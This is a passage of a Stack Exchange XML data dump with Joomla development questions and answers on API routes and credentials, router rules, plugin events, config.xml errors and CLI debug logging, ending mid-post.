  <row Id="32315" PostTypeId="2" ParentId="32071" CreationDate="2022-08-02T12:43:34.617" Score="0" Body="&lt;p&gt;You can look up all the classes and what they need from the Joomla Api namespaces. The api is for both Joomla 3 and Joomla 4. The Api really helps out with finding out what is needed in a class, it shows all methods available for each class, what classes they inherit or implement.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-4/namespaces/joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-4/namespaces/joomla.html&lt;/a&gt;&#xA;{If the link fails, you can just google joomla api.}&lt;/p&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="16521" LastEditDate="2022-08-03T07:35:11.623" LastActivityDate="2022-08-03T07:35:11.623" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32316" PostTypeId="2" ParentId="32313" CreationDate="2022-08-04T07:54:54.850" Score="0" Body="&lt;p&gt;What you're trying to do is not usual in Joomla and is not recommended. Joomla simply doesn't work that way. The URLs are first defined by menu item structure and only then by individual component routers. Having control of the first path segment is normally only possible when your component is set as default (home) menu item. Other pages of your component can then resolve to this menu item and could have a single segment path.&lt;/p&gt;&#xA;&lt;p&gt;That said, it is possible to achieve what you want by attaching a custom rule to the global router (an instance of &lt;code&gt;Joomla\CMS\Router\SiteRouter&lt;/code&gt;, not your component router). In J3 this can be done by adding a &lt;code&gt;parsepreprocess()&lt;/code&gt; method to your router. Below is a very basic, barely tested example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function parsepreprocess($router, $uri)&#xA;{&#xA;    if ($uri-&amp;gt;getPath() === 'view2')&#xA;    {&#xA;        $uri-&amp;gt;setPath('');&#xA;        $uri-&amp;gt;setVar('option', 'com_example');&#xA;        $uri-&amp;gt;setVar('view', 'view2');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In J4 you'll need to attach the rule to the site router manually.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-08-04T07:54:54.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32317" PostTypeId="2" ParentId="14535" CreationDate="2022-08-04T08:27:08.423" Score="1" Body="&lt;p&gt;Some time passed, but if people are searching for this, you can do something like this.&#xA;Before redirection (after saving profile) one can set a state to redirect where you want and no extra code or plugin is needed:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$url = 'index.php?option=com_mycomp&amp;amp;view=something';&#xA;$app-&amp;gt;setUserState('com_users.edit.profile.redirect', $url);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2022-08-04T08:27:08.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32318" PostTypeId="1" CreationDate="2022-08-06T09:01:56.937" Score="2" ViewCount="20" Body="&lt;p&gt;In the package installation script, preflight method, is there a way to access the package's XML? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2022-08-06T23:00:19.390" Title="Can the package XML be accessed from the preflight method?" Tags="|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32319" PostTypeId="2" ParentId="32318" CreationDate="2022-08-06T16:45:56.143" Score="2" Body="&lt;p&gt;Yes, you can. The preflight method has two parameters, and you can, for example, obtain the current version being installed with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function preflight($type, $parent) {&#xA;    $version = (string) $parent-&amp;gt;getManifest()-&amp;gt;version;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="12352" LastEditDate="2022-08-06T23:00:19.390" LastActivityDate="2022-08-06T23:00:19.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32320" PostTypeId="1" AcceptedAnswerId="32322" CreationDate="2022-08-07T10:02:12.900" Score="4" ViewCount="465" Body="&lt;p&gt;I am taking my first steps in integrating the Joomla API. I used this tutorial: &lt;a href=&quot;https://blog.astrid-guenther.de/en/joomla-webservices/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.astrid-guenther.de/en/joomla-webservices/&lt;/a&gt;&#xA;Now I am wondering if it is really necessary to include the credentials when requesting data that is accessible through the website anyway.&lt;/p&gt;&#xA;&lt;p&gt;The query works fine for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl -X GET http://URL/index.php/v1/foos --header 'Accept: application/vnd.api+json' --header 'Authorization: Basic YWRtaW46YWRtaW4='&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The query does not work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl -X GET http://URL/index.php/v1/foos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I achieve that I can query simple data without providing a user and password?&lt;/p&gt;&#xA;&lt;p&gt;I do not want to create or modify any data.&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2022-08-08T06:53:40.880" Title="Joomla API and Credentials" Tags="|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32321" PostTypeId="2" ParentId="32320" CreationDate="2022-08-08T04:58:48.310" Score="2" Body="&lt;p&gt;Please see &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/32376&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/32376&lt;/a&gt; for mor Infos about authentication mechanism.&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2022-08-08T04:58:48.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32322" PostTypeId="2" ParentId="32320" CreationDate="2022-08-08T06:21:13.453" Score="6" Body="&lt;p&gt;Routes can be declared public by setting a flag. And it can be set after routes have been registered with the router. So this can be done using a custom web services plugin. It would use the &lt;code&gt;onBeforeApiRoute&lt;/code&gt; event, the same used for declaring routes, so be aware the plugin must be ordered last to work properly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeApiRoute($router)&#xA;{&#xA;    // Iterate over the routes.&#xA;    foreach ($router-&amp;gt;getRoutes() as $route)&#xA;    {&#xA;        // Check that we are altering only GET routes.&#xA;        if ($route-&amp;gt;getMethods() === ['GET'])&#xA;        {&#xA;            // Override the public flag.&#xA;            $defaults = $route-&amp;gt;getDefaults();&#xA;            $defaults['public'] = true;&#xA;            $route-&amp;gt;setDefaults($defaults);&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also keep in mind that this is dangerous and can expose sensitive information, such as user data. Instead of making all routes public you should have a list of routes which you want to make public.&lt;/p&gt;&#xA;&lt;p&gt;Just to clarify, the above method is for overriding routes added by core or 3rd party plugins and not your own. If you are developing your own web services plugin, you can set the public access when registering the route. When using &lt;code&gt;Joomla\CMS\Router\ApiRouter::createCRUDRoutes()&lt;/code&gt; pass the 4th argument to enable public GETs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$router-&amp;gt;createCRUDRoutes(&#xA;    'v1/foos',&#xA;    'foos',&#xA;    ['component' =&amp;gt; 'com_foos'],&#xA;    true&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or when instantiating the route manually:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$route = new Joomla\Router\Route(['GET'], 'v1/foos', 'foos.doFoos', [], ['public' =&amp;gt; true]);&#xA;$router-&amp;gt;addRoute($route);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2022-08-08T06:53:40.880" LastActivityDate="2022-08-08T06:53:40.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32323" PostTypeId="1" CreationDate="2022-08-09T05:52:32.160" Score="1" ViewCount="135" Body="&lt;p&gt;If I create Route for the API via&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$router-&amp;gt;createCRUDRoutes( 'v1/foos', 'foos', ['component' =&amp;gt; 'com_foos'], true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Like explainded in &lt;a href=&quot;https://joomla.stackexchange.com/a/32322/7387&quot;&gt;https://joomla.stackexchange.com/a/32322/7387&lt;/a&gt; the Route is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JOOMLA/api/v1/foos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I like a Route without the &lt;code&gt;api&lt;/code&gt; like&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JOOMLA/v1/foos&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How do I archive this?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2022-08-13T10:29:12.657" Title="Webservices Route" Tags="|joomla-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32324" PostTypeId="2" ParentId="32323" CreationDate="2022-08-09T07:52:58.247" Score="2" Body="&lt;p&gt;I think I have found a solution myself. I use a redirect in .htaccess&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /myvalue /api/v1/foos/index.php/myvalue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is there another better way in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2022-08-09T07:52:58.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32325" PostTypeId="1" CreationDate="2022-08-09T14:41:06.167" Score="0" ViewCount="128" Body="&lt;p&gt;I need to use the emoji picker plugin from editor to add emojis in a textarea field. Is it possible?&#xA;It's for my chat component: &lt;a href=&quot;https://extensions.joomla.org/extension/communication/chat/tabapapo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/communication/chat/tabapapo/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16285" LastActivityDate="2022-08-09T14:41:06.167" Title="How to use emoji picker plugin from editor in Joomla in a textarea field?" Tags="|component|plugin|joomla-4.x|editor|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32326" PostTypeId="1" AcceptedAnswerId="32329" CreationDate="2022-08-10T20:42:34.940" Score="2" ViewCount="210" Body="&lt;p&gt;For a Joomla 4 project I wrote a Content Plugin to grab video thumbs from Video-URLs  (Vimeo) the user adds into Custom form field of a frontend form. The following code successfully gets the video thumbnail onContentBeforeSave(). But the manipulated $data object which holds all the form data, seems not get saved to the database.&#xA;How to make sure the manipulated $data object gets saved properly?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgContentVideothumbgrabber extends CMSPlugin&#xA;{&#xA;    public function onContentBeforeSave($context, $article, $isNew, $data)&#xA;    { &#xA;        if(!in_array($context, array('com_content.form')))&#xA;        {&#xA;            return true;&#xA;        } &#xA;        &#xA;        $vimeo = $data['com_fields']['pa-video-vimeo'];&#xA;    &#xA;        $thumbnail = $this-&amp;gt;_grab_vimeo_thumbnail($vimeo, 'HIGH');&#xA;    &#xA;        // The $thumbnail holds video thumbnail correctly here.&#xA;        // How to save the manipulated $data object to database?&#xA;        $data['com_fields']['pa-video-screenshot'] = $thumbnail;&#xA;        &#xA;        return true;&#xA;    }&#xA;&#xA;    public static function _grab_vimeo_thumbnail($vimeo_url, $thumbNamilQuality = '')&#xA;    {&#xA;         ...&#xA;    }&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="12652" LastEditDate="2022-08-12T06:30:36.617" LastActivityDate="2022-08-12T07:33:33.970" Title="Plugin to manipulate form data onContentBeforeSave" Tags="|joomla-3.x|joomla-4|content-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32327" PostTypeId="1" AcceptedAnswerId="32328" CreationDate="2022-08-11T10:00:50.667" Score="1" ViewCount="535" Body="&lt;p&gt;This is in my Controller. Currently, I am redirecting using the inherited function &lt;code&gt;setRedirect(URL_TO_REDIRECT_TO)&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function redirectTo($layout){&#xA;    $this-&amp;gt;setRedirect('index.php?option=com_component&amp;amp;view=view_name&amp;amp;layout=' . $layout);&#xA;    $this-&amp;gt;redirect();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In what way can I &lt;strong&gt;IMPROVE&lt;/strong&gt; this (if it is the correct way of redirecting)?&lt;/p&gt;&#xA;&lt;p&gt;I am learning Joomla MVC and would like to improve my skills.&lt;/p&gt;&#xA;&lt;p&gt;Thank you. That really clarified a lot for me. The reason I am using this method of doing it, is mainly to also pass parameters through the URL if needed.&lt;/p&gt;&#xA;&lt;p&gt;So my next part of the function looks like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function redirectTo($layout, $id = null){&#xA;    $url = 'index.php?option=com_component&amp;amp;view=view_name&amp;amp;layout=' . &#xA; $layout;&#xA;    if($id){ &#xA;        $url =  $url . &amp;quot;&amp;amp;id=&amp;quot; .  $id;&#xA;    }&#xA;    $this-&amp;gt;redirect(Route::_($url));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this Okay? Or is there already a method made for this? I think I am going into a URL builder with this.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastEditorUserId="16521" LastEditDate="2022-08-12T10:30:33.700" LastActivityDate="2022-08-12T10:30:33.700" Title="Joomla correct way of routing" Tags="|url|redirect|joomla-4|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32328" PostTypeId="2" ParentId="32327" CreationDate="2022-08-12T06:29:47.560" Score="3" Body="&lt;p&gt;You should run the URL through &lt;code&gt;Joomla\CMS\Router\Route::_()&lt;/code&gt; before passing to &lt;code&gt;setRedirect()&lt;/code&gt; to get the correct SEF URL since none of the involved methods do that automatically.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Router\Route;&#xA;&#xA;$this-&amp;gt;setRedirect(Route::_('index.php?option=com_component&amp;amp;view=view_name&amp;amp;layout=' . $layout));&#xA;$this-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The rest is correct, if not somewhat unnecessary. &lt;code&gt;setRedirect()&lt;/code&gt; is used to set a redirect which is performed after the controller's task has been completed. And it accepts additional parameters for setting a message and its type. Your method does not have these parameters and it performs the redirect instantly. So realistically you could remove your custom method and just call application's &lt;code&gt;redirect()&lt;/code&gt; method to get the same result.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;redirect(Route::_('index.php?option=com_component&amp;amp;view=view_name&amp;amp;layout=' . $layout));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-08-12T06:29:47.560" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32329" PostTypeId="2" ParentId="32326" CreationDate="2022-08-12T07:33:33.970" Score="2" Body="&lt;p&gt;&lt;code&gt;onContentBeforeSave&lt;/code&gt; is used to determine whether the item can be saved. The plugin should return a boolean value. The data, as you've noticed, is an array and is not passed by reference. So changes you make to it will not be reflected outside your plugin. You should consider using another event.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;onContentAfterSave&lt;/code&gt; can be used to save additional data after the item has been successfully saved.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;onContentPrepareForm&lt;/code&gt; can be used to alter form data. However, it can get tricky. Sometimes data can be an array and sometimes an object. Sometimes it may not be available at all and needs to be read from request data.&lt;/p&gt;&#xA;&lt;p&gt;Since J! 3.8.7 there is a new &lt;code&gt;onContentNormaliseRequestData&lt;/code&gt; event which solves the above issues. The data is always an object and can be modified.&lt;/p&gt;&#xA;&lt;p&gt;There is also an older &lt;code&gt;onUserBeforeDataValidation&lt;/code&gt; event (renamed to &lt;code&gt;onContentBeforeValidateData&lt;/code&gt; in 4.0) which is fired almost right after &lt;code&gt;onContentNormaliseRequestData&lt;/code&gt;. Data is cast to array but it is passed by reference so it can still be modified.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, you need to make sure the &lt;code&gt;pa-video-screenshot&lt;/code&gt; field is part of the form definition. So there should be a dedicated custom field for it.&lt;/p&gt;&#xA;&lt;p&gt;Finally, you need to consider whether your approach is the best way to go. There are other, potentially more reliable ways to do what you're trying to do. For example, writing a custom field type plugin instead of a content plugin. It could handle such functionality without having to hardcode specific field names inside and it could also handle the rendering of the video in frontend.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-08-12T07:33:33.970" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32330" PostTypeId="2" ParentId="32314" CreationDate="2022-08-12T10:34:15.187" Score="1" Body="&lt;p&gt;There is a method $form-&amp;gt;setProperty() which does this.&lt;/p&gt;&#xA;" OwnerUserId="16521" LastActivityDate="2022-08-12T10:34:15.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32331" PostTypeId="1" AcceptedAnswerId="32333" CreationDate="2022-08-12T12:26:28.723" Score="2" ViewCount="197" Body="&lt;p&gt;I've been developing a custom component on Joomla 4 for a few months now and I've finally got round to working on the access and permissions side of things. Whenever I try to access the Options for my component, I'm getting a &lt;code&gt;Form::loadForm could not load file&lt;/code&gt; error. I think I may have created config.xml &lt;em&gt;after&lt;/em&gt; installing this initial version, so that may be why something isn't configured properly to enable Joomla to access it.&lt;/p&gt;&#xA;&lt;p&gt;I have installed the latest version of my component on a fresh Joomla 4 test site and the Options are all working correctly. I've searched through the databases for both Joomla installations and compared any entries connected to when my component was installed and I can't find any relevant reference or setting.&lt;/p&gt;&#xA;&lt;p&gt;I know that installing the component from new will work properly, I'm just curious as to what I'm missing when it comes to applying a manual fix to my earlier iteration. If anyone can help point me in the right direction it would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastEditorUserId="15973" LastEditDate="2022-08-12T12:37:02.700" LastActivityDate="2022-08-15T05:14:08.980" Title="How does a custom component store config.xml information" Tags="|development|custom-component|joomla-4.x|component-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32332" PostTypeId="2" ParentId="20835" CreationDate="2022-08-13T04:24:37.450" Score="0" Body="&lt;p&gt;Setting &lt;code&gt;upload_tmp_dir&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt; or &lt;code&gt;.htaccess&lt;/code&gt; does not seem to work.&lt;/p&gt;&#xA;&lt;p&gt;The only way I have been able to silence this warning message in Joomla is setting upload_tmp_dir via &lt;code&gt;cPanel -&amp;gt; Select PHP Version -&amp;gt; Options -&amp;gt; upload_tmp_dir&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The default value of &lt;code&gt;~/public_html/tmp&lt;/code&gt; that some hosts use for &lt;code&gt;upload_tmp_dir&lt;/code&gt; does not seem to work but setting the value to a specific folder e.g. &lt;code&gt;/home/accountname/tmp&lt;/code&gt; does seem to work.&lt;/p&gt;&#xA;&lt;p&gt;The Select PHP Version tool in cPanel is available on servers with EasyApache 3 and CloudLinux.&lt;/p&gt;&#xA;&lt;p&gt;EasyApache 4 cPanel replaced the Select PHP Version tool with MultiPHP Manager which does not seem to have any equivalent option to set &lt;code&gt;upload_tmp_dir&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Apparently &lt;a href=&quot;https://cloudlinux.zendesk.com/hc/en-us/articles/360014084800-PHP-Selector-Integration-with-cPanel&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Select PHP Version tool can be enabled to work alongside MultiPHP Manager&lt;/a&gt; but most hosts only offer one or the other.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-08-13T04:24:37.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32333" PostTypeId="2" ParentId="32331" CreationDate="2022-08-13T08:29:43.967" Score="3" Body="&lt;p&gt;The error message is being displayed because there is an issue with the name of the config.xml or the path where it is located. There are no references stored in the data base relevant to the issue.&lt;/p&gt;&#xA;&lt;p&gt;The error message in your opening post only appears in &lt;code&gt;libraries/src/MVC/Model/FormBehaviorTrait.php&lt;/code&gt; at line #101 as part of method &lt;code&gt;LoadForm()&lt;/code&gt; starting at line #50.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;loadForm()&lt;/code&gt; is called by &lt;code&gt;administrator/components/com_config/src/Model/ComponentModel.php&lt;/code&gt; at line #86 just after an attempt is made to add the Path where &lt;code&gt;config.xml&lt;/code&gt; should be found.&lt;/p&gt;&#xA;&lt;p&gt;The code just prior to and including the call to loadForm().&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($path = $state-&amp;gt;get('component.path'))&#xA;{&#xA;    // Add the search path for the admin component config.xml file.&#xA;    Form::addFormPath($path);&#xA;}&#xA;else&#xA;{&#xA;    // Add the search path for the admin component config.xml file.&#xA;    Form::addFormPath(JPATH_ADMINISTRATOR . '/components/' . $option);&#xA;}&#xA;&#xA;// Get the form.&#xA;$form = $this-&amp;gt;loadForm(&#xA;    'com_config.component',&#xA;    'config',&#xA;    array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData),&#xA;    false,&#xA;    '/config'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I was able to generate the error message you are receiving by misspelling &lt;code&gt;config.xml&lt;/code&gt; and on a case sensitive environment changed the &lt;code&gt;config.xml&lt;/code&gt; to &lt;code&gt;Config.xml&lt;/code&gt; and it too caused the message to appear. A typo or upper/lowercase issue in the path would also cause the same message.&lt;/p&gt;&#xA;&lt;p&gt;You might like to look at what the values of $source and $xpath is at line #99 of &lt;code&gt;libraries/src/MVC/Model/FormBehaviorTrait.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($form-&amp;gt;loadFile($source, false, $xpath) == false)&#xA;{&#xA;    throw new \RuntimeException('Form::loadForm could not load file');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to see why it is getting flagged as &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="12352" LastEditDate="2022-08-15T05:14:08.980" LastActivityDate="2022-08-15T05:14:08.980" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32334" PostTypeId="2" ParentId="32323" CreationDate="2022-08-13T10:06:18.430" Score="0" Body="&lt;p&gt;I don't believe you can change or remove the &lt;code&gt;/api&lt;/code&gt; within Joomla as it is hard coded into the processing of the URI found in &lt;code&gt;libraries/src/Uri/Uri.php&lt;/code&gt;, see code below at the last line.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        if (trim($live_site) != '')&#xA;        {&#xA;            $uri = static::getInstance($live_site);&#xA;            static::$base['prefix'] = $uri-&amp;gt;toString(array('scheme', 'host', 'port'));&#xA;            static::$base['path'] = rtrim($uri-&amp;gt;toString(array('path')), '/\\');&#xA;&#xA;            if (\defined('JPATH_BASE') &amp;amp;&amp;amp; \defined('JPATH_ADMINISTRATOR') &amp;amp;&amp;amp; JPATH_BASE == JPATH_ADMINISTRATOR)&#xA;            {&#xA;                static::$base['path'] .= '/administrator';&#xA;            }&#xA;&#xA;            if (\defined('JPATH_BASE') &amp;amp;&amp;amp; \defined('JPATH_API') &amp;amp;&amp;amp; JPATH_BASE == JPATH_API)&#xA;            {&#xA;                static::$base['path'] .= '/api';&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I do think it should be possible with .htaccess to insert the &lt;code&gt;/api&lt;/code&gt; into the URL for Joomla without having to do a redirect, however I don't have a working example I can provide you with.&lt;/p&gt;&#xA;&lt;p&gt;Search for  examples of &lt;code&gt;rewriteCond&lt;/code&gt; and &lt;code&gt;rewriteRule&lt;/code&gt; for ways to insert &lt;code&gt;/api&lt;/code&gt; to your incoming URI/URL.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;rewriteCond %{http_HOST} ^www\mydomain\.com\.au$&#xA;rewriteRule (.*) /site2/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I use these two lines to append a folder to a URL so what you need to do is insert &lt;code&gt;/api&lt;/code&gt; to the URL before &lt;code&gt;/v1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Your condition statement would have to be more specific to your API's URL so as not to interfere with other API's in your instance, i.e. you don't want to end up creating &lt;code&gt;yourdomian/api/api/otherapi&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-08-13T10:29:12.657" LastActivityDate="2022-08-13T10:29:12.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32335" PostTypeId="1" CreationDate="2022-08-13T21:18:42.490" Score="1" ViewCount="28" Body="&lt;p&gt;In current VM shop we need to add EUR currency next to domestic price, calculated by specific conversion value.&lt;/p&gt;&#xA;&lt;p&gt;I was hoping to do it with custom VM plugin, however I am having trouble finding detailed documentation for VM plugin development.&lt;/p&gt;&#xA;&lt;p&gt;I was thinking of using &lt;code&gt;modifyPrice&lt;/code&gt; or &lt;code&gt;plgVmOnDisplayProductFEVM3&lt;/code&gt; but besides that I am stuck on how to utilize them.&lt;/p&gt;&#xA;&lt;p&gt;Are there any detailed examples of these methods?&lt;/p&gt;&#xA;" OwnerUserId="13683" LastActivityDate="2022-08-13T21:18:42.490" Title="How to set another price (EUR) after current product price in Virtuemart 3.8.8" Tags="|joomla-3.x|development|virtuemart|custom|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32337" PostTypeId="1" CreationDate="2022-08-18T09:38:07.910" Score="1" ViewCount="32" Body="&lt;p&gt;I'm trying to make a script to update components and I want to retrieve the logs to check the execution of all the requests related to the update of a component.&lt;/p&gt;&#xA;&lt;p&gt;In the script I use Joomla methods, external to my script, so I need to activate the debug variable dynamically from the configuration file to log all the queries executed. (I get them with JDatabaseDriver::getLog())&lt;/p&gt;&#xA;&lt;p&gt;In the case where I activate the debug before the execution of the script, everything goes as planned, I have my logs.&lt;/p&gt;&#xA;&lt;p&gt;But when I activate it from the script, my logs are empty. The debug variable goes to true (in the conf file), but that seems to have no effect at the script level, I don't get the logs.&lt;/p&gt;&#xA;&lt;p&gt;Do you have an idea to solve this problem or work around it?&lt;/p&gt;&#xA;&lt;p&gt;Sorry for my poor English... Thanks in advance and have a nice day!&lt;/p&gt;&#xA;&lt;p&gt;Edit :&lt;/p&gt;&#xA;&lt;p&gt;Code use to change debug to true :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$config-&amp;gt;set('debug', '1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Method use to get statements logs :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private function getElementLogs() {&#xA;        $logs = $this-&amp;gt;db-&amp;gt;getLog();&#xA;        if($this-&amp;gt;logs) {&#xA;            foreach ($logs as $key =&amp;gt; $value) {&#xA;                if ($logs[$key] == $this-&amp;gt;logs[$key] AND isset($logs[$key])) {&#xA;                    unset($logs[$key]);&#xA;                }&#xA;            }&#xA;        }&#xA;        $this-&amp;gt;logs = $this-&amp;gt;db-&amp;gt;getLog();&#xA;        return $logs;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16536" LastEditorUserId="16536" LastEditDate="2022-08-18T10:29:53.000" LastActivityDate="2022-08-18T14:47:17.923" Title="Change debug variable during cli script execution" Tags="|debug|cli|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32338" PostTypeId="2" ParentId="32337" CreationDate="2022-08-18T13:43:00.760" Score="2" Body="&lt;p&gt;If you're using &lt;code&gt;JFactory::getDbo()&lt;/code&gt; to get the database instance, it could be that something else calls it before you set the configuration value. So you would need to make sure you set debug configuration as early as possible. Possibly better solution for your case is to use &lt;code&gt;JDatabaseDriver::setDebug()&lt;/code&gt; to set the debug value manually on the database instance. Note that queries executed before this value is set will not be collected. That should be OK if you're only interested in specific queries of your script. Another option is to use a separate database instance independent of &lt;code&gt;JFactory&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-08-18T13:43:00.760" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32341" PostTypeId="1" CreationDate="2022-08-18T15:53:17.100" Score="1" ViewCount="27" Body="&lt;p&gt;I recently bought this template (&amp;quot;Beat&amp;quot; from WiselyThemes) and followed the instructions to make it look like the live preview the seller posted on Themeforest (&lt;a href=&quot;http://preview.themeforest.net/item/beat-one-page-music-band-joomla-template/full_screen_preview/7723157?_ga=2.195573096.575021629.1660836699-2120608566.1660836699&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://preview.themeforest.net/item/beat-one-page-music-band-joomla-template/full_screen_preview/7723157?_ga=2.195573096.575021629.1660836699-2120608566.1660836699&lt;/a&gt;),&#xA;but still, on my site, it&lt;a href=&quot;https://i.stack.imgur.com/nehXY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nehXY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt; keeps being empty, as you can see in the 